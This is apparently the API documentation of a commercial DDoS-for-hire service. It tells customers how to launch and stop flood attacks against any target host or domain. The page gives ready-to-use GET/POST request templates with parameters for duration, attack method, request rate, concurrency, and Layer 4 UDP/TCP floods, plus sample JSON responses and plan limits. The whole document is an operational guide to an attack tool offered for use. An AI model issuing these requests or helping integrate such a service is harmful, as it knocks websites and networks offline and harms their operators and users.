API Reference
Integrate your own panels and bots
Your key
Every plan includes the API. Create an account and your private key is issued with the plan.
x-api-key: rc_your_private_key
Start attack
GET · returns the attack ID from the backend
GET https://racerapi.net/api/attack
?key=YOUR_KEY
&host=https://example.com
&time=60
&method=TLS
&concurrents=1
&rate=128
Parameters
| host | Target URL or domain |
| time | Duration in seconds |
| method | One of: TLS, RACE, STORM, LEGACY, BURST |
| concurrents | Concurrency for this attack |
| rate | Requests per second, up to 512 |
| layer | 7 (default) or 4 |
| port | L4 only, 1-65535 (default 80) |
| subnet | L4 only, optional mask 1-32 |
| key | Your private key |
Your plan is Layer 7 only. A Layer 4 plan adds UDP/TCP floods and the layer=4 parameter.
Stop attack
POST · the backend call is made for you
POST https://racerapi.net/api/stop
?key=YOUR_KEY
&id=77320
Parameters
| id | The attack_id or internal_id returned when starting |
| key | Your private key |
Only your own attacks stop. Unknown id returns 404, an attack that is already over returns 409. If the backend cannot confirm, the row stays running and the call answers 502, so the stop can be retried.
Query
Auxiliary endpoints
GET https://racerapi.net/api/me?key=YOUR_KEY
GET https://racerapi.net/api/running?key=YOUR_KEY
Responses
Consistent JSON shape
// 200 · attack
{ "status": 200, "layer": 7, "attack_id": "77320", "internal_id": 12, "host": "...", "method": "TLS", "time": 60 }
// 200 · stop
{ "status": 200, "internal_id": 12, "attack_id": "77320", "host": "...", "stopped": true }
// 401
{ "status": 401, "data": "Invalid API key" }
{ "status": 401, "data": "API key disabled" }
// 404 · unknown attack
{ "status": 404, "data": "Attack not found" }
// 202 · backend slow, attack may already run, id unknown
{ "status": 202, "internal_id": 12, "attack_id": null, "host": "...", "time": 60, "concurrents": 1 }
// 502 · backend refused / could not be reached, nothing started
{ "status": 502, "data": "Attack backend is offline (connection refused)." }
// 429
{ "status": 429, "data": "Concurrency limit reached (2/2 in use, 1 requested)." }
A 503 means the whole network is at capacity. A 202 means the node answered too slowly — the attack is saved and counts against the plan, but without an attack_id, so check before retrying.